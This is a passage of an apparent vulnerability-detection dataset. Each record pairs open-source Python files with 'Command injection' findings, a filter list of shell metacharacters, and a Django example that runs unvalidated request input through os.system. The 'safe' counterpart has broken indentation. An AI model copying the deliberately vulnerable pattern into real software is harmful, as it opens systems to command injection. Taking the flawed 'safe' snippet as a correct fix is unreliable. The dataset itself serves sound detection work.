+ asm_cns)\n return\n if check_exist(cns_tmp):\n os.rename(cns_tmp, asm_cns)\n os.remove(bam)\n else:\n break\n k = k + 1\n if k >= polish_iterations:\n break\n if check_exist(asm_cns):\n return asm_cns\n else:\n print(\"polishing failed for \" + asm_cns + \"\\n\")\n return None\n\n\ndef run_flye_assembly(sv_reads, asm_dir, contig_name, thread, presets):\n \"\"\"Run Flye assembly\"\"\"\n if presets == \"pacbio\":\n presets_flye = \"--pacbio-raw\"\n else:\n presets_flye = \"--nano-raw\"\n\n tmp_out_dir = os.path.join(asm_dir, contig_name)\n mkdir(tmp_out_dir)\n try:\n subprocess.call(\n [\n \"flye\",\n presets_flye,\n sv_reads,\n \"--out-dir\",\n tmp_out_dir,\n \"--thread\",\n str(thread),\n \"--iterations\",\n \"0\",\n ]\n )\n except Exception as e:\n print(e)\n print(\"Assembly failed, exiting...\")\n return\n # rename contigs\n contig_path = os.path.join(tmp_out_dir, \"assembly.fasta\")\n contig_path_new = os.path.join(asm_dir, contig_name + \".cns.fa\")\n if check_exist(contig_path):\n os.rename(contig_path, contig_path_new)\n # remove tmp files\n shutil.rmtree(tmp_out_dir)\n return contig_path_new\n else:\n print(\"assembly failed\")\n return None\n\n\ndef run_wtdbg2_assembly(sv_reads, asm_dir, contig_name, thread, presets):\n \"\"\"Run wtdbg2 assembly\"\"\"\n if presets == \"pacbio\":\n presets_wtdbg2 = \"rs\"\n else:\n presets_wtdbg2 = \"ont\"\n prefix = sv_reads.replace(\".reads.fa\", \"\")\n try:\n subprocess.run(\n [\n \"wtdbg2\",\n \"-x\",\n presets_wtdbg2,\n \"-q\",\n \"-AS\",\n \"1\",\n \"-g\",\n \"30k\",\n \"-t\",\n str(thread),\n \"-i\",\n sv_reads,\n \"-fo\",\n prefix,\n ],\n timeout=300,\n )\n except subprocess.TimeoutExpired:\n print(\"fail to build contig layout for contig: \" + contig_name)\n return\n except Exception as e:\n print(e)\n print(\"wtdbg2 failed, exiting...\")\n return None\n\n # derive consensus\n contig_layout = prefix + \".ctg.lay.gz\"\n if check_exist(contig_layout):\n cns_thread = str(min(thread, 4))\n consensus = prefix + \".cns.fa\"\n try:\n subprocess.run(\n [\n \"wtpoa-cns\",\n \"-q\",\n \"-t\",\n cns_thread,\n \"-i\",\n contig_layout,\n \"-fo\",\n consensus,\n ],\n timeout=300,\n )\n except subprocess.TimeoutExpired:\n print(\"fail to assemble contig: \" + contig_name)\n return None\n\n if check_exist(consensus):\n consensus_rename = os.path.join(asm_dir, contig_name + \".cns.fa\")\n os.rename(consensus, consensus_rename)\n return consensus_rename\n else:\n return None\n\n\ndef prep_assembly_inputs(\n vcf_parsed, out, sample_name, bam, raw_reads, reads_dir, read_type=\"sv\"\n):\n \"\"\"Prepare reads for local assembly\"\"\"\n # logging.info(\"Prepare reads for local assembly\")\n\n if read_type == \"sv\": # TODO: figure out what this does\n # extract read IDs\n read_ids = os.path.join(out, sample_name + \".id\")\n with open(vcf_parsed, \"r\") as input, open(read_ids, \"w\") as output:\n for line in input:\n entry = line.replace(\"\\n\", \"\").split(\"\\t\")\n read_list = entry[8].split(\",\")\n for read in read_list:\n output.write(read + \"\\n\")\n else: # TODO: think about using this for assembly, filter for cigar reads\n window = 1000\n samfile = pysam.AlignmentFile(bam, \"rb\")\n read_ids = os.path.join(out, sample_name + \".id\")\n vcf_parsed_new = vcf_parsed + \".new\"\n with open(vcf_parsed, \"r\") as input, open(read_ids, \"w\") as output, open(\n vcf_parsed_new, \"w\"\n ) as VCF:\n for line in input:\n entry = line.replace(\"\\n\", \"\").split(\"\\t\")\n\n # get sniffles read list\n read_list = entry[8].split(\",\")\n reads_sniffles = set(read_list)\n\n ins_chr = entry[0]\n ins_breakpoint = round((int(entry[1]) + int(entry[2])) / 2)\n start = ins_breakpoint - window\n end = ins_breakpoint + window\n reads = set()\n # coverage = 0\n for read in samfile.fetch(ins_chr, start, end):\n reads.add(read.query_name)\n for read in reads:\n output.write(read + \"\\n\")\n\n # write\n out_line = line.replace(\"\\n\", \"\") + \"\\t\" + str(len(reads))\n VCF.write(out_line + \"\\n\")\n vcf_parsed = vcf_parsed_new\n\n # generate unique ID list\n read_ids_unique = read_ids + \".unique\"\n command = \"cat \" + read_ids + \" | sort | uniq\"\n with open(read_ids_unique, \"w\") as output:\n subprocess.call(command, stdout=output, shell=True)\n\n # filter raw reads using read list\n subset_fa = os.path.join(out, sample_name + \".subset.fa\")\n command = \"seqtk subseq \" + raw_reads + \" \" + read_ids_unique + \" | seqtk seq -a\"\n with open(subset_fa, \"w\") as output:\n subprocess.call(command, stdout=output, shell=True)\n\n # reorder reads\n subset_fa_reorder = out + \"/\" + sample_name + \".subset.reorder.fa\"\n extract_reads(subset_fa, read_ids, subset_fa_reorder)\n\n # separate reads into multiple files, using csplit\n mkdir(reads_dir)\n csplit_prefix = reads_dir + \"/contig\"\n m = []\n k = 1\n with open(vcf_parsed, \"r\") as input:\n for line in input:\n entry = line.replace(\"\\n\", \"\").split(\"\\t\")\n if read_type == \"sv\":\n k = k + 2 * (len(entry[8].split(\",\")))\n else:\n k = k + 2 * int(entry[14])\n m.append(k)\n if len(m) == 1:\n subprocess.call([\"cp\", subset_fa_reorder, reads_dir + \"/contig0\"])\n elif len(m) == 0:\n print(\"No insertion detected, exiting...\")\n else:\n m = m[:-1]\n index = \" \".join(str(i) for i in m)\n command = (\n \"csplit -s -f \" + csplit_prefix + \" -n 1 \" + subset_fa_reorder + \" \" + index\n )\n subprocess.call(command, shell=True)\n\n # remove tmp files\n os.remove(read_ids)\n os.remove(read_ids_unique)\n os.remove(subset_fa)\n os.remove(subset_fa_reorder)\n\n\ndef extract_reads(reads, list, out):\n \"\"\"Extract reads from fasta using read ID list\"\"\"\n record_dict = SeqIO.index(reads, \"fasta\")\n with open(out, \"wb\") as output_handle, open(list, \"r\") as ID:\n for entry in ID:\n entry = entry.replace(\"\\n\", \"\")\n output_handle.write(record_dict.get_raw(entry))", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 214, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "545293926630ea772a30a26ea0fe05cb203f2c093b486a62b8ef45b91c0dd87c", "license": {"spdx": ["MIT"], "repo": "kippesp/turnt", "path": "turnt.py", "repo_head_hexsha": "da58fdca45552619f8b6afae268621cdb65dea08", "stack_hexsha": "83e34a96f132a1ea7094e354401ef9c01ff79862", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 273, "entireCode": "\"\"\"Turnt is a simple expect-style testing tool for command-line\nprograms.\n\"\"\"\nimport click\nimport tomlkit\nimport os\nimport shlex\nimport subprocess\nimport tempfile\nimport shutil\nimport sys\nimport re\nimport contextlib\nfrom concurrent import futures\n\n__version__ = '1.6.0'\n\nDIFF_DEFAULT = 'diff --new-file --unified'\nSTDOUT = '-'\nSTDERR = '2'\n\n\ndef load_config(path, config_name):\n \"\"\"Load the configuration for a test at the given path.\n \"\"\"\n parent = os.path.dirname(path)\n config_path = os.path.join(parent, config_name)\n if os.path.isfile(config_path):\n with open(config_path) as f:\n return tomlkit.loads(f.read())\n else:\n return {}\n\n\ndef extract_options(text, key):\n \"\"\"Parse a config option(s) from the given text.\n\n Options are embedded in declarations like \"KEY: value\" that may\n occur anywhere in the file. We take all the text after \"KEY: \" until\n the end of the line. Return the value strings as a list.\n \"\"\"\n regex = r'\\b{}:\\s+(.*)'.format(key.upper())\n return re.findall(regex, text)\n\n\ndef extract_single_option(text, key):\n \"\"\"Parse a single config option from the given text.\n\n The format is the same as for `extract_options`, but we return only\n the first value---or None if there are no instances.\n \"\"\"\n options = extract_options(text, key)\n if options:\n return options[0]\n else:\n return None\n\n\ndef get_command(config, path, contents, args=None, err=None):\n \"\"\"Get the shell command to run for a given test, as a string.\n \"\"\"\n cmd = extract_single_option(contents, 'cmd') or config['command']\n args = args or extract_single_option(contents, 'args') or ''\n\n # Construct the command.\n filename = os.path.basename(path)\n base, _ = os.path.splitext(filename)\n return cmd.format(\n filename=shlex.quote(filename),\n base=shlex.quote(base),\n args=args,\n )\n\n\ndef format_output_path(name, path):\n \"\"\"Substitute patterns in configured *actual* output filenames and\n produce a complete path (relative to `path`, which is the test\n file).\n \"\"\"\n if name == STDOUT or name == STDERR:\n return name\n\n filename = os.path.basename(path)\n base, _ = os.path.splitext(filename)\n return os.path.join(\n os.path.dirname(path),\n name.format(\n filename=filename,\n base=shlex.quote(base),\n )\n )\n\n\ndef format_expected_path(ext, path, out_base):\n \"\"\"Generate the location to use for the *expected* output file for a\n given test `path` and output extension key `ext`.\n\n The resulting path is located \"next to\" the test file, using its\n basename with a different extension---for example `./foo/bar.t`\n becomes `./foo/bar.ext`. If the test path is a directory, the file is\n placed *inside* this directory, and `out_base` is used for the filename\n instead of the test name (e.g., `./foo/bar.t/out_base.ext`).\n \"\"\"\n # When the test is a directory, place results there and use\n # `out_base`. Otherwise, when the test is a file, put results\n # *alongside* the file, in the same parent directory, and use the\n # test filename to generate the output filename (ignoring\n # `out_base`).\n if os.path.isdir(path):\n dirname = path\n base = out_base\n else:\n dirname = os.path.dirname(path)\n filename = os.path.basename(path)\n base, _ = os.path.splitext(filename)\n\n return os.path.join(dirname, '{}.{}'.format(base, ext))\n\n\ndef get_out_files(config, path, contents):\n \"\"\"Get the mapping from saved output files to expected output files\n for the test.\n \"\"\"\n outputs = extract_options(contents, 'out')\n\n # Get the mapping from extensions to output files.\n if outputs:\n outputs = {k: v for k, v in (o.split() for o in outputs)}\n elif \"output\" in config:\n outputs = config[\"output\"]\n else:\n # If no outputs given anywhere, assume standard out.\n outputs = {\"out\": STDOUT}\n\n # Get the base to use for directory test outputs.\n out_base = config.get(\"out_base\", \"out\")\n\n return {format_expected_path(k, path, out_base):\n format_output_path(v, path)\n for (k, v) in outputs.items()}\n\n\ndef get_return_code(config, contents):\n return_code = extract_single_option(contents, 'return')\n\n if return_code:\n return int(return_code)\n elif \"return_code\" in config:\n return int(config[\"return_code\"])\n else:\n return 0\n\n\ndef load_options(config, path, args=None):\n \"\"\"Extract the options embedded in the test file, which can override\n the options in the configuration. Return the test command and an\n output file mapping.\n\n The path need not exist or be a file. If it's a directory or does\n not exist, no options are extracted (and the defaults are used).\n\n `args` can override the arguments for the command, which otherwise\n come from the file itself.\n \"\"\"\n # Load the contents for option parsing either from the file itself\n # or, if the test is a directory, from a file contained therein.\n if os.path.isfile(path):\n with open(path) as f:\n contents = f.read()\n else:\n if 'opts_file' in config:\n opts_path = os.path.join(path, config['opts_file'])\n try:\n with open(opts_path) as f:\n contents = f.read()\n except IOError:\n contents = ''\n else:\n contents = ''\n\n return (\n get_command(config, path, contents, args),\n get_out_files(config, path, contents),\n get_return_code(config, contents),\n )\n\n\ndef check_result(name, idx, save, diff, proc, out_files, return_code,\n diff_cmd):\n \"\"\"Check the results of a single test and print the outcome. Return\n a bool indicating success and a TAP message as a list of strings.\n \"\"\"\n # If the command has a non-zero exit code, fail.\n if proc.returncode != return_code:\n msg = ['not ok {} - {}'.format(idx, name)]\n if return_code:\n msg.append('# exit code: {}, expected: {}'.format(proc.returncode,\n return_code))\n else:\n msg.append('# exit code: {}'.format(proc.returncode))\n if proc.stderr:\n sys.stderr.buffer.write(proc.stderr)\n sys.stderr.buffer.flush()\n return False, msg\n\n # Check whether outputs match.\n differing = []\n missing = []\n for saved_file, output_file in out_files.items():\n # Diff the actual & expected output.\n if diff:\n subprocess.run(diff_cmd + [saved_file, output_file])\n\n # Read actual & expected output.\n with open(output_file) as f:\n actual = f.read()\n if os.path.isfile(saved_file):\n with open(saved_file) as f:\n expected = f.read()\n else:\n expected = None\n\n # Compare.\n if actual != expected:\n differing.append(saved_file)\n if expected is None:\n missing.append(saved_file)\n\n # Save the new output, if requested.\n update = save and differing\n if update:\n for saved_file, output_file in out_files.items():\n shutil.copy(output_file, saved_file)\n\n # Show TAP success line and annotations.\n line = '{} {} - {}'.format('ok' if not differing else 'not ok', idx, name)\n if update:\n line += ' # skip: updated {}'.format(', '.join(out_files.keys()))\n\n diff_exist = [fn for fn in differing if fn not in missing]\n if diff_exist:\n line += '\\n# differing: {}'.format(', '.join(diff_exist))\n if missing:\n line += '\\n# missing: {}'.format(', '.join(missing))\n\n return not differing, [line]\n\n\ndef run_test(path, config_name, idx, save, diff, verbose, dump, args=None):\n \"\"\"Run a single test.\n\n Check the output and produce a TAP summary line, unless `dump` is\n enabled, in which case we just print the output. Return a bool\n indicating success and the message as a list of strings.\n \"\"\"\n config = load_config(path, config_name)\n cmd, out_files, return_code = load_options(config, path, args)\n diff_cmd = shlex.split(config.get('diff', DIFF_DEFAULT))\n\n # Show the command if we're dumping the output.\n if dump:\n print('$', cmd, file=sys.stderr)\n\n with contextlib.ExitStack() as stack:\n # Possibly use a temporary file for the output.\n if not dump:\n stdout = tempfile.NamedTemporaryFile(delete=False)\n stderr = tempfile.NamedTemporaryFile(delete=False)\n stack.enter_context(stdout)\n stack.enter_context(stderr)\n\n # Run the command.\n proc = subprocess.run(\n cmd,\n shell=True,\n stdout=None if dump else stdout,\n stderr=None if dump else stderr,\n cwd=os.path.abspath(os.path.dirname(path)),\n )\n\n # Check results.\n if dump:\n return proc.returncode == 0, []\n else:\n try:\n # If we're in verbose but not dump/print mode, errors need to be\n # copied from the temporary file to standard out\n if verbose and not dump:\n with open(stderr.name) as f:\n sys.stdout.write(f.read())\n\n # Replace shorthands with the standard output/error files.\n sugar = {STDOUT: stdout.name, STDERR: stderr.name}\n out_files = {k: sugar.get(v, v) for (k, v) in out_files.items()}\n\n return check_result(path, idx, save, diff, proc, out_files,\n return_code, diff_cmd)\n finally:\n os.unlink(stdout.name)\n os.unlink(stderr.name)\n\n\n@click.command()\n@click.option('--save', is_flag=True, default=False,\n help='Save new outputs (overwriting old).')\n@click.option('--diff', is_flag=True, default=False,\n help='Show a diff between the actual and expected output.')\n@click.option('-p', '--print', 'dump', is_flag=True, default=False,\n help=\"Just show the command output (don't check anything).\")\n@click.option('-v', '--verbose', is_flag=True, default=False,\n help='Do not suppress stderr from successful commands.')\n@click.option('-a', '--args',\n help='Override arguments for test commands.')\n@click.option('-j', '--parallel',\n help='Run tests in parallel.')\n@click.option('-c', '--config', default='turnt.toml',\n help='Name of the config file. Default: turnt.toml')\n@click.argument('file', nargs=-1, type=click.Path(exists=True))\ndef turnt(file, save, diff, verbose, dump, args, parallel, config):\n if file and not dump:\n print('1..{}'.format(len(file)))\n\n success = True\n if parallel:\n # Parallel test execution.\n with futures.ThreadPoolExecutor() as pool:\n futs = []\n for idx, path in enumerate(file):\n futs.append(pool.submit(\n run_test,\n path, config, idx + 1, save, diff, verbose, dump, args\n ))\n for fut in futs:\n sc, msg = fut.result()\n success &= sc\n for line in msg:\n print(line)\n\n else:\n # Simple sequential loop.\n for idx, path in enumerate(file):\n sc, msg = run_test(path, config, idx + 1, save, diff, verbose, dump, args)\n success &= sc\n for line in msg:\n print(line)\n\n sys.exit(0 if success else 1)\n\n\nif __name__ == '__main__':\n turnt()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 273, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "819a5a5dec62625b46aea3ac770447efba9197ae6aa9a54394945cadc9735c4c", "license": {"spdx": ["Apache-2.0"], "repo": "roolrd/incubator-datalab", "path": "infrastructure-provisioning/src/general/api/install_libs.py", "repo_head_hexsha": "2045207ecd1b381193f1a1ec143cc968716ad989", "stack_hexsha": "8aaa6ef648c6ab0a8f38e3df5ebf0a4f712b233a", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 32, "entireCode": "#!/usr/bin/python3\n\n# *****************************************************************************\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n# ******************************************************************************\n\nimport json\nimport os\nimport sys\nimport subprocess\n\nif __name__ == \"__main__\":\n success = True\n try:\n subprocess.run('cd /root; fab install-libs', shell=True, check=True)\n except:\n success = False\n\n reply = dict()\n reply['request_id'] = os.environ['request_id']\n if success:\n reply['status'] = 'ok'\n else:\n reply['status'] = 'err'\n\n reply['response'] = dict()\n\n try:\n with open(\"/root/result.json\") as f:\n reply['response']['result'] = json.loads(f.read())\n except:\n reply['response']['result'] = {\"error\": \"Failed to open result.json\"}\n\n reply['response']['log'] = \"/var/log/datalab/{0}/{0}_{1}_{2}.log\".format(os.environ['conf_resource'],\n os.environ['project_name'],\n os.environ['request_id'])\n\n with open(\"/response/{}_{}_{}.json\".format(os.environ['conf_resource'], os.environ['project_name'],\n os.environ['request_id']), 'w') as response_file:\n response_file.write(json.dumps(reply))\n\n try:\n subprocess.run('chmod 666 /response/*', shell=True, check=True)\n except:\n success = False\n\n if not success:\n sys.exit(1)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "29"}}, {"lineNo": 32, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "73161f4b0b6dc67be6e3a4385d4a99327c7a66206783ddde78dac88e48733ba5", "license": {"spdx": ["MIT"], "repo": "openem-team/openem", "path": "scripts/tator_tracker.py", "repo_head_hexsha": "45222c9c77084eacab278da25a8734ae7d43f677", "stack_hexsha": "7cd283a215a5ab2f5c601f954e24742216c659e4", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 178, "entireCode": "#!/usr/bin/env python3\n\nimport argparse\nimport openem\nimport os\nimport cv2\nimport numpy as np\nfrom openem.tracking import *\nimport json\nimport sys\nimport datetime\nimport tator\nfrom pprint import pprint\nfrom collections import defaultdict\n\nimport yaml\nimport math\n\nimport subprocess\nimport sys\n\ndef crop_localization(frame_bgr, localization):\n img_width = frame_bgr.shape[1]\n img_height = frame_bgr.shape[0]\n box_x = round(localization['x'] * img_width)\n box_y = round(localization['y'] * img_height)\n box_width = round(localization['width'] * img_width)\n box_height = round(localization['height'] * img_height)\n img_crop = frame_bgr[box_y:box_y+box_height,box_x:box_x+box_width,:]\n return img_crop\n\ndef join_up_iteration(detections, track_ids):\n tracklets = defaultdict(list)\n num_tracklets = np.max(track_ids) + 1\n assert(len(detections) == len(track_ids))\n for d,tid in zip(detections, track_ids):\n tracklets[tid].append(d)\n return tracklets\n\ndef extend_tracklets(tracklets, length):\n for track_id,track in tracklets.items():\n if len(track) <= 16:\n continue\n\n ext_length = min(length,len(track))\n sum_h=0.0\n sum_w=0.0\n\n track.sort(key=lambda x:x['frame'])\n\n def restore_det(det):\n det['x'] = det.get('orig_x',det['x'])\n det['y'] = det.get('orig_y',det['y'])\n det['width'] = det.get('orig_w',det['width'])\n det['height'] = det.get('orig_h',det['height'])\n det['orig_x'] = det['x']\n det['orig_y'] = det['y']\n det['orig_w'] = det['width']\n det['orig_h'] = det['height']\n restore_det(track[0])\n restore_det(track[-1])\n\n for d in track:\n sum_h += d['height']\n sum_w += d['width']\n angle,vel,comps = track_vel(track)\n vel_x = comps[0]\n vel_y = comps[1]\n avg_h = sum_h / len(track)\n avg_w = sum_w / len(track)\n new_x = min(1,max(0,track[-1]['x']+(vel_x*ext_length)))\n new_y = min(1,max(0,track[-1]['y']+(vel_y*ext_length)))\n old_x = min(1,max(0,track[0]['x']-(vel_x*ext_length)))\n old_y = min(1,max(0,track[0]['y']-(vel_y*ext_length)))\n\n\n min_x = min(track[-1]['x'],new_x)\n min_y = min(track[-1]['y'],new_y)\n if min_x > 0 and min_y > 0:\n track[-1]['x'] = min_x\n track[-1]['y'] = min_y\n track[-1]['width'] = min(max(0,abs(new_x-track[-1]['x'])+avg_w),1)\n track[-1]['height'] = min(max(0,abs(new_x-track[-1]['y'])+avg_h),1)\n else:\n track[-1]['width'] = 0\n track[-1]['height'] = 0\n\n\n min_x = min(track[0]['x'],old_x)\n min_y = min(track[0]['y'],old_y)\n if min_x > 0 and min_y > 0:\n track[0]['x'] = min(max(0,min_x),1)\n track[0]['y'] = min(max(0,min_y),1)\n track[0]['width'] = min(max(abs(old_x-track[0]['x'])+avg_w,0),1)\n track[0]['height'] = min(max(abs(old_x-track[0]['y'])+avg_h,0),1)\n else:\n track[0]['width'] = 0\n track[0]['height'] = 0\n return tracklets\n\n\ndef split_tracklets(tracklets):\n track_ids=[]\n detections=[]\n for track_id,track in tracklets.items():\n for d in track:\n track_ids.append(track_id)\n detections.append(d)\n return detections,track_ids\n\ndef trim_tracklets(detections, track_ids, max_length):\n tracklets = join_up_iteration(detections, track_ids)\n next_track_id = 1\n new_tracklets = {}\n for track_id,detections in tracklets.items():\n new_track_count=math.ceil(len(detections)/max_length)\n for i in range(new_track_count):\n start=max_length*i\n end=max_length+(max_length*i)\n new_tracklets[next_track_id] = detections[start:end]\n next_track_id += 1\n detections, track_ids = split_tracklets(new_tracklets)\n track_ids = renumber_track_ids(track_ids)\n return detections, track_ids\n\n\nif __name__==\"__main__\":\n parser = argparse.ArgumentParser(description=__doc__)\n tator.get_parser(parser)\n parser.add_argument(\"--detection-type-id\", type=int, required=True)\n parser.add_argument(\"--tracklet-type-id\", type=int, required=True)\n parser.add_argument(\"--version-id\", type=int)\n parser.add_argument(\"--input-version-id\", type=int)\n parser.add_argument(\"--strategy-config\", type=str)\n parser.add_argument(\"--dry-run\", action='store_true')\n parser.add_argument('media_files', type=str, nargs='*')\n args = parser.parse_args()\n\n # Weight methods\n methods = ['hybrid', 'iou', 'iou-motion', 'iou-global-motion']\n\n # Weight methods that require the video\n visual_methods = ['hybrid', 'iou-global-motion']\n\n api = tator.get_api(args.host, args.token)\n detection_type = api.get_localization_type(args.detection_type_id)\n project = detection_type.project\n version_id = args.version_id\n\n\n default_strategy = {\"method\": \"hybrid\",\n \"frame-diffs\": [1,2,4,8,16,32,64,128,256],\n \"args\": {},\n \"extension\": {'method' : None},\n \"max-length\": {},\n \"min-length\": 0}\n\n if args.strategy_config:\n strategy = {**default_strategy}\n with open(args.strategy_config, \"r\") as strategy_file:\n strategy.update(yaml.load(strategy_file))\n else:\n strategy = default_strategy\n\n if strategy['method'] == 'hybrid':\n model_file = strategy['args']['model_file']\n batch_size = strategy['args'].get('batch_size', 4)\n comparator=FeaturesComparator(model_file)\n #extractor=FeaturesExtractor(args.model_file)\n\n\n class_method = strategy.get('class-method',None)\n classify_function = None\n classify_args = {}\n if class_method:\n pip_package=class_method.get('pip',None)\n if pip_package:\n p = subprocess.run([sys.executable,\n \"-m\",\n \"pip\",\n \"install\",\n pip_package])\n print(\"Finished process.\", flush=True)\n function_name = class_method.get('function',None)\n classify_args = class_method.get('args',None)\n names = function_name.split('.')\n module = __import__(names[0])\n for name in names[1:-1]:\n module = getattr(module,name)\n classify_function = getattr(module,names[-1])\n\n\n print(\"Strategy: \", flush=True)\n pprint(strategy)\n print(args.media_files, flush=True)\n\n optional_fetch_args = {}\n if args.input_version_id:\n optional_fetch_args['version'] = [args.input_version_id]\n for media_file in args.media_files:\n comps=os.path.splitext(os.path.basename(media_file))[0]\n media_id=comps.split('_')[0]\n media = api.get_media(media_id)\n if media.attributes.get(\"Tracklet Generator Processed\") != \"No\":\n print(f\"Skipping media ID {media.id}, name {media.name} due to \"\n f\"'Tracklet Generator Processed' attribute being set to \"\n f\"something other than 'No'!\")\n continue\n media_shape = (media.height, media.width)\n fps = media.fps\n\n localizations_by_frame = {}\n localizations = api.get_localization_list(project,\n type=args.detection_type_id,\n media_id=[media_id],\n **optional_fetch_args)\n\n localizations = [l.to_dict() for l in localizations]\n if len(localizations) == 0:\n print(f\"No localizations present in media {media_file}\", flush=True)\n continue\n print(f\"Processing {len(localizations)} detections\", flush=True)\n # Group by localizations by frame\n for lid, local in enumerate(localizations):\n frame = local['frame']\n if frame in localizations_by_frame:\n localizations_by_frame[frame].append(local)\n else:\n localizations_by_frame[frame] = [local]\n\n detections=[]\n track_ids=[]\n track_id=1\n\n # If media does not exist, download it.\n if strategy['method'] == 'iou-global-motion':\n if not os.path.exists(media_file):\n temp_path = f'/tmp/{os.path.basename(media_file)}'\n for progress in tator.util.download_media(api, media, temp_path):\n print(f\"Downloading {media_file}, {progress}%...\")\n print(\"Download finished!\")\n # Unfrag the file\n subprocess.run([\"ffmpeg\", '-i', temp_path, '-c:v', 'copy', media_file])\n os.remove(temp_path)\n\n if strategy['method'] == 'hybrid': # Not all visual methods need detection images\n vid=cv2.VideoCapture(media_file)\n ok=True\n frame = 0\n while ok:\n ok,frame_bgr = vid.read()\n if frame in localizations_by_frame:\n for l in localizations_by_frame[frame]:\n l['bgr'] = crop_localization(frame_bgr, l)\n if l['attributes']['Confidence'] < 0.50:\n continue\n detections.append(l)\n track_ids.append(track_id)\n track_id += 1\n frame+=1\n else:\n # The method is analytical on the detections coordinates\n # and does not require processing the video\n for frame,frame_detections in localizations_by_frame.items():\n for det in frame_detections:\n detections.append(det)\n track_ids.append(track_id)\n track_id += 1\n\n print(\"Loaded all detections\", flush=True)\n\n track_ids = renumber_track_ids(track_ids)\n\n 